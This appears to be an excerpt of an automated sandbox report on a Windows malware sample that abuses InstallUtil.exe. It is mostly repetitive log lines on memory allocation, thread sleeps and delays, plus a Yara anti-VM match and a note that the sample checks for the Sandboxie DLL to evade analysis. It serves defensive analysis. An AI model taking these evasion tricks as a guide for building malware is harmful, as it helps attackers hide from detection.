Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: pbgjw8i8N7.exe PID: 1988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XsdType.exe PID: 6732, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: pbgjw8i8N7.exe, 00000000.00000002.1331701274.0000000002971000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1463433201.0000000002A11000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Memory allocated: E70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Memory allocated: 2970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Memory allocated: 27A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2890000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Memory allocated: E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Memory allocated: 2A10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Memory allocated: 2860000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2240000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 23C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 43C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596970	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596846	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595079	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594842	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594730	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594623	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594458	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594329	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594204	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594059	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593555	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599780	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595736	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595596	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595463	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595341	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595164	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2933	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6873	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 1934	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 7885	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -35971150943733603s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep count: 2933 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -599844s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6792	Thread sleep count: 6873 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -599719s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -599594s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -599485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -599360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -599235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -599110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -598985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -598860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -598735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -598610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -598485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -596970s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -596846s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -596719s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -595454s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -595329s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -595204s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -595079s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -594842s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -594730s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -594623s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -594458s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -594329s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -594204s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -594059s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -593890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -593781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -593671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6768	Thread sleep time: -593555s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5940	Thread sleep count: 1934 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5940	Thread sleep count: 7885 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -599780s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -599563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -598969s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -598860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5528	Thread sleep time: -598735s >= -30000s	Jump to behavior
